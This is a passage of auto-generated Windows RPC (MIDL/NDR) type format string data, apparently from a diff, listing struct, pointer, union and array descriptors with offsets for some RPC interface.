*/ +/* 346 */ NdrFcLong( 0x16 ), /* 22 */ +/* 350 */ NdrFcShort( 0x232 ), /* Offset= 562 (912) */ +/* 352 */ NdrFcShort( 0xffff ), /* Offset= -1 (351) */ +/* 354 */ + 0x12, 0x0, /* FC_UP */ +/* 356 */ NdrFcShort( 0x58 ), /* Offset= 88 (444) */ +/* 358 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 360 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 362 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 364 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 366 */ NdrFcShort( 0x2 ), /* Offset= 2 (368) */ +/* 368 */ NdrFcShort( 0x8 ), /* 8 */ +/* 370 */ NdrFcShort( 0xb ), /* 11 */ +/* 372 */ NdrFcLong( 0x0 ), /* 0 */ +/* 376 */ NdrFcShort( 0x40 ), /* Offset= 64 (440) */ +/* 378 */ NdrFcLong( 0x1 ), /* 1 */ +/* 382 */ NdrFcShort( 0x3a ), /* Offset= 58 (440) */ +/* 384 */ NdrFcLong( 0x2 ), /* 2 */ +/* 388 */ NdrFcShort( 0x34 ), /* Offset= 52 (440) */ +/* 390 */ NdrFcLong( 0x3 ), /* 3 */ +/* 394 */ NdrFcShort( 0x2e ), /* Offset= 46 (440) */ +/* 396 */ NdrFcLong( 0x4 ), /* 4 */ +/* 400 */ NdrFcShort( 0x28 ), /* Offset= 40 (440) */ +/* 402 */ NdrFcLong( 0x5 ), /* 5 */ +/* 406 */ NdrFcShort( 0x22 ), /* Offset= 34 (440) */ +/* 408 */ NdrFcLong( 0x6 ), /* 6 */ +/* 412 */ NdrFcShort( 0x1c ), /* Offset= 28 (440) */ +/* 414 */ NdrFcLong( 0x7 ), /* 7 */ +/* 418 */ NdrFcShort( 0x16 ), /* Offset= 22 (440) */ +/* 420 */ NdrFcLong( 0x8 ), /* 8 */ +/* 424 */ NdrFcShort( 0x10 ), /* Offset= 16 (440) */ +/* 426 */ NdrFcLong( 0x9 ), /* 9 */ +/* 430 */ NdrFcShort( 0xa ), /* Offset= 10 (440) */ +/* 432 */ NdrFcLong( 0xa ), /* 10 */ +/* 436 */ NdrFcShort( 0x4 ), /* Offset= 4 (440) */ +/* 438 */ NdrFcShort( 0xffff ), /* Offset= -1 (437) */ +/* 440 */ + 0x12, 0x0, /* FC_UP */ +/* 442 */ NdrFcShort( 0xfeb4 ), /* Offset= -332 (110) */ +/* 444 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 446 */ NdrFcShort( 0x10 ), /* 16 */ +/* 448 */ NdrFcShort( 0x0 ), /* 0 */ +/* 450 */ NdrFcShort( 0x0 ), /* Offset= 0 (450) */ +/* 452 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 454 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 456 */ NdrFcShort( 0xff9e ), /* Offset= -98 (358) */ +/* 458 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 460 */ + 0x12, 0x0, /* FC_UP */ +/* 462 */ NdrFcShort( 0x28 ), /* Offset= 40 (502) */ +/* 464 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 466 */ NdrFcShort( 0x1 ), /* 1 */ +/* 468 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 470 */ NdrFcShort( 0x14 ), /* 20 */ +/* 472 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 474 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 476 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 478 */ NdrFcShort( 0x20 ), /* 32 */ +/* 480 */ NdrFcShort( 0x0 ), /* 0 */ +/* 482 */ NdrFcShort( 0x8 ), /* Offset= 8 (490) */ +/* 484 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 486 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 488 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 490 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 492 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 494 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 496 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 498 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 500 */ NdrFcShort( 0xffdc ), /* Offset= -36 (464) */ +/* 502 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 504 */ NdrFcShort( 0x70 ), /* 112 */ +/* 506 */ NdrFcShort( 0x0 ), /* 0 */ +/* 508 */ NdrFcShort( 0xe ), /* Offset= 14 (522) */ +/* 510 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 512 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 514 */ 0x0, /* 0 */ + NdrFcShort( 0xfe37 ), /* Offset= -457 (58) */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 518 */ 0x0, /* 0 */ + NdrFcShort( 0xfe21 ), /* Offset= -479 (40) */ + 0x5b, /* FC_END */ +/* 522 */ + 0x12, 0x0, /* FC_UP */ +/* 524 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (476) */ +/* 526 */ + 0x12, 0x0, /* FC_UP */ +/* 528 */ NdrFcShort( 0x2 ), /* Offset= 2 (530) */ +/* 530 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 532 */ NdrFcShort( 0x18 ), /* 24 */ +/* 534 */ NdrFcShort( 0x0 ), /* 0 */ +/* 536 */ NdrFcShort( 0x8 ), /* Offset= 8 (544) */ +/* 538 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 540 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 542 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 544 */ + 0x12, 0x0, /* FC_UP */ +/* 546 */ NdrFcShort( 0xffba ), /* Offset= -70 (476) */ +/* 548 */ + 0x12, 0x0, /* FC_UP */ +/* 550 */ NdrFcShort( 0x2 ), /* Offset= 2 (552) */ +/* 552 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 554 */ NdrFcShort( 0x10 ), /* 16 */ +/* 556 */ NdrFcShort( 0x0 ), /* 0 */ +/* 558 */ NdrFcShort( 0x6 ), /* Offset= 6 (564) */ +/* 560 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 562 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 564 */ + 0x12, 0x0, /* FC_UP */ +/* 566 */ NdrFcShort( 0xffa6 ), /* Offset= -90 (476) */ +/* 568 */ + 0x12, 0x0, /* FC_UP */ +/* 570 */ NdrFcShort( 0xffa2 ), /* Offset= -94 (476) */ +/* 572 */ + 0x12, 0x0, /* FC_UP */ +/* 574 */ NdrFcShort( 0x2 ), /* Offset= 2 (576) */ +/* 576 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 578 */ NdrFcShort( 0x18 ), /* 24 */ +/* 580 */ NdrFcShort( 0x0 ), /* 0 */ +/* 582 */ NdrFcShort( 0x0 ), /* Offset= 0 (582) */ +/* 584 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 586 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 588 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 590 */ + 0x12, 0x0, /* FC_UP */ +/* 592 */ NdrFcShort( 0x2 ), /* Offset= 2 (594) */ +/* 594 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 596 */ NdrFcShort( 0x20 ), /* 32 */ +/* 598 */ NdrFcShort( 0x0 ), /* 0 */ +/* 600 */ NdrFcShort( 0xa ), /* Offset= 10 (610) */ +/* 602 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 604 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 606 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 608 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 610 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 612 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 614 */ + 0x12, 0x0, /* FC_UP */ +/* 616 */ NdrFcShort( 0xe ), /* Offset= 14 (630) */ +/* 618 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 620 */ NdrFcShort( 0x1 ), /* 1 */ +/* 622 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 626 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 628 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 630 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 632 */ NdrFcShort( 0x10 ), /* 16 */ +/* 634 */ NdrFcShort( 0x0 ), /* 0 */ +/* 636 */ NdrFcShort( 0x6 ), /* Offset= 6 (642) */ +/* 638 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 640 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 642 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 644 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (618) */ +/* 646 */ + 0x12, 0x0, /* FC_UP */ +/* 648 */ NdrFcShort( 0x1a ), /* Offset= 26 (674) */ +/* 650 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 652 */ NdrFcShort( 0x1 ), /* 1 */ +/* 654 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 656 */ NdrFcShort( 0xc ), /* 12 */ +/* 658 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 660 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 662 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 664 */ NdrFcShort( 0x1 ), /* 1 */ +/* 666 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 668 */ NdrFcShort( 0x18 ), /* 24 */ +/* 670 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 672 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 674 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 676 */ NdrFcShort( 0x28 ), /* 40 */ +/* 678 */ NdrFcShort( 0x0 ), /* 0 */ +/* 680 */ NdrFcShort( 0xa ), /* Offset= 10 (690) */ +/* 682 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 684 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 686 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 688 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 690 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 692 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 694 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 696 */ NdrFcShort( 0xffd2 ), /* Offset= -46 (650) */ +/* 698 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 700 */ NdrFcShort( 0xffda ), /* Offset= -38 (662) */ +/* 702 */ + 0x12, 0x0, /* FC_UP */ +/* 704 */ NdrFcShort( 0x2 ), /* Offset= 2 (706) */ +/* 706 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 708 */ NdrFcShort( 0x38 ), /* 56 */ +/* 710 */ NdrFcShort( 0x0 ), /* 0 */ +/* 712 */ NdrFcShort( 0x10 ), /* Offset= 16 (728) */ +/* 714 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 716 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 718 */ 0x0, /* 0 */ + NdrFcShort( 0xfd4d ), /* Offset= -691 (28) */ + 0x8, /* FC_LONG */ +/* 722 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 724 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 726 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 728 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 730 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 732 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 734 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 736 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 738 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 740 */ + 0x12, 0x0, /* FC_UP */ +/* 742 */ NdrFcShort( 0xe ), /* Offset= 14 (756) */ +/* 744 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 746 */ NdrFcShort( 0x1 ), /* 1 */ +/* 748 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 750 */ NdrFcShort( 0x4 ), /* 4 */ +/* 752 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 754 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 756 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 758 */ NdrFcShort( 0x10 ), /* 16 */ +/* 760 */ NdrFcShort( 0x0 ), /* 0 */ +/* 762 */ NdrFcShort( 0x6 ), /* Offset= 6 (768) */ +/* 764 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 766 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 768 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 770 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (744) */ +/* 772 */ + 0x12, 0x0, /* FC_UP */ +/* 774 */ NdrFcShort( 0xfd78 ), /* Offset= -648 (126) */ +/* 776 */ + 0x12, 0x0, /* FC_UP */ +/* 778 */ NdrFcShort( 0x2 ), /* Offset= 2 (780) */ +/* 780 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 782 */ NdrFcShort( 0x18 ), /* 24 */ +/* 784 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 786 */ NdrFcShort( 0xfd6c ), /* Offset= -660 (126) */ +/* 788 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 790 */ NdrFcShort( 0xfd68 ), /* Offset= -664 (126) */ +/* 792 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 794 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 796 */ + 0x12, 0x0, /* FC_UP */ +/* 798 */ NdrFcShort( 0x2 ), /* Offset= 2 (800) */ +/* 800 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 802 */ NdrFcShort( 0x10 ), /* 16 */ +/* 804 */ NdrFcShort( 0x0 ), /* 0 */ +/* 806 */ NdrFcShort( 0x6 ), /* Offset= 6 (812) */ +/* 808 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 810 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 812 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 814 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 816 */ + 0x12, 0x0, /* FC_UP */ +/* 818 */ NdrFcShort( 0x2 ), /* Offset= 2 (820) */ +/* 820 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 822 */ NdrFcShort( 0x10 ), /* 16 */ +/* 824 */ NdrFcShort( 0x0 ), /* 0 */ +/* 826 */ NdrFcShort( 0x6 ), /* Offset= 6 (832) */ +/* 828 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 830 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 832 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 834 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 836 */ + 0x12, 0x0, /* FC_UP */ +/* 838 */ NdrFcShort( 0x2 ), /* Offset= 2 (840) */ +/* 840 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 842 */ NdrFcShort( 0x10 ), /* 16 */ +/* 844 */ NdrFcShort( 0x0 ), /* 0 */ +/* 846 */ NdrFcShort( 0x0 ), /* Offset= 0 (846) */ +/* 848 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 850 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 852 */ + 0x12, 0x0, /* FC_UP */ +/* 854 */ NdrFcShort( 0x2 ), /* Offset= 2 (856) */ +/* 856 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 858 */ NdrFcShort( 0x20 ), /* 32 */ +/* 860 */ NdrFcShort( 0x0 ), /* 0 */ +/* 862 */ NdrFcShort( 0xa ), /* Offset= 10 (872) */ +/* 864 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 866 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 868 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 870 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 872 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 874 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 876 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 878 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 880 */ + 0x12, 0x0, /* FC_UP */ +/* 882 */ NdrFcShort( 0x2 ), /* Offset= 2 (884) */ +/* 884 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 886 */ NdrFcShort( 0x28 ), /* 40 */ +/* 888 */ NdrFcShort( 0x0 ), /* 0 */ +/* 890 */ NdrFcShort( 0xa ), /* Offset= 10 (900) */ +/* 892 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 894 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 896 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 898 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 900 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 902 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 904 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 906 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 908 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 910 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 912 */ + 0x12, 0x0, /* FC_UP */ +/* 914 */ NdrFcShort( 0x28 ), /* Offset= 40 (954) */ +/* 916 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 918 */ NdrFcShort( 0x10 ), /* 16 */ +/* 920 */ NdrFcShort( 0x0 ), /* 0 */ +/* 922 */ NdrFcShort( 0x6 ), /* Offset= 6 (928) */ +/* 924 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 926 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 928 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 930 */ NdrFcShort( 0xff46 ), /* Offset= -186 (744) */ +/* 932 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 934 */ NdrFcShort( 0x0 ), /* 0 */ +/* 936 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 938 */ NdrFcShort( 0x0 ), /* 0 */ +/* 940 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 942 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 946 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 948 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 950 */ NdrFcShort( 0xffde ), /* Offset= -34 (916) */ +/* 952 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 954 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 956 */ NdrFcShort( 0x10 ), /* 16 */ +/* 958 */ NdrFcShort( 0x0 ), /* 0 */ +/* 960 */ NdrFcShort( 0x6 ), /* Offset= 6 (966) */ +/* 962 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 964 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 966 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 968 */ NdrFcShort( 0xffdc ), /* Offset= -36 (932) */ +/* 970 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 972 */ NdrFcShort( 0x20 ), /* 32 */ +/* 974 */ NdrFcShort( 0x0 ), /* 0 */ +/* 976 */ NdrFcShort( 0x0 ), /* Offset= 0 (976) */ +/* 978 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 980 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 982 */ NdrFcShort( 0xfc46 ), /* Offset= -954 (28) */ +/* 984 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 986 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 988 */ NdrFcShort( 0xfcf8 ), /* Offset= -776 (212) */ +/* 990 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 992 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 994 */ NdrFcShort( 0x2 ), /* Offset= 2 (996) */ +/* 996 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 998 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1000 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 1002 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1004 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1006 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1010 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1012 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1014 */ NdrFcShort( 0xfde6 ), /* Offset= -538 (476) */ +/* 1016 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1018 */ + 0x11, 0x0, /* FC_RP */ +/* 1020 */ NdrFcShort( 0xfc52 ), /* Offset= -942 (78) */ +/* 1022 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 1024 */ NdrFcShort( 0x2 ), /* Offset= 2 (1026) */ +/* 1026 */ 0x30, /* FC_BIND_CONTEXT */ + 0xa0, /* Ctxt flags: via ptr, out, */ +/* 1028 */ 0x0, /* 0 */ + 0x1, /* 1 */ +/* 1030 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1032 */ NdrFcShort( 0x2 ), /* Offset= 2 (1034) */ +/* 1034 */ + 0x12, 0x0, /* FC_UP */ +/* 1036 */ NdrFcShort( 0xac ), /* Offset= 172 (1208) */ +/* 1038 */ + 0x1d, /* FC_SMFARRAY */ + 0x3, /* 3 */ +/* 1040 */ NdrFcShort( 0x18 ), /* 24 */ +/* 1042 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 1044 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 1046 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 1048 */ NdrFcShort( 0xff98 ), /* -104 */ +/* 1050 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1052 */ NdrFcShort( 0x2 ), /* Offset= 2 (1054) */ +/* 1054 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1056 */ NdrFcShort( 0x5 ), /* 5 */ +/* 1058 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1062 */ NdrFcShort( 0xfd92 ), /* Offset= -622 (440) */ +/* 1064 */ NdrFcLong( 0x1 ), /* 1 */ +/* 1068 */ NdrFcShort( 0x16 ), /* Offset= 22 (1090) */ +/* 1070 */ NdrFcLong( 0x2 ), /* 2 */ +/* 1074 */ NdrFcShort( 0xfd86 ), /* Offset= -634 (440) */ +/* 1076 */ NdrFcLong( 0x3 ), /* 3 */ +/* 1080 */ NdrFcShort( 0xfd80 ), /* Offset= -640 (440) */ +/* 1082 */ NdrFcLong( 0x4 ), /* 4 */ +/* 1086 */ NdrFcShort( 0x2a ), /* Offset= 42 (1128) */ +/* 1088 */ NdrFcShort( 0xffff ), /* Offset= -1 (1087) */ +/* 1090 */ + 0x12, 0x0, /* FC_UP */ +/* 1092 */ NdrFcShort( 0x2 ), /* Offset= 2 (1094) */ +/* 1094 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1096 */ NdrFcShort( 0x40 ), /* 64 */ +/* 1098 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1100 */ NdrFcShort( 0x10 ), /* Offset= 16 (1116) */ +/* 1102 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1104 */ NdrFcShort( 0xfbcc ), /* Offset= -1076 (28) */ +/* 1106 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 1108 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 1110 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 1112 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1114 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1116 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1118 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1120 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1122 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1124 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1126 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1128 */ + 0x12, 0x0, /* FC_UP */ +/* 1130 */ NdrFcShort( 0x2 ), /* Offset= 2 (1132) */ +/* 1132 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1134 */ NdrFcShort( 0x28 ), /* 40 */ +/* 1136 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1138 */ NdrFcShort( 0xa ), /* Offset= 10 (1148) */ +/* 1140 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1142 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1144 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1146 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1148 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1150 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1152 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1154 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1156 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1158 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1160 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1162 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1164 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1166 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1168 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1170 */ NdrFcShort( 0x54 ), /* 84 */ +/* 1172 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1174 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1178 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1180 */ + 0x12, 0x0, /* FC_UP */ +/* 1182 */ NdrFcShort( 0xfd3e ), /* Offset= -706 (476) */ +/* 1184 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1186 */ + 0x21, /* 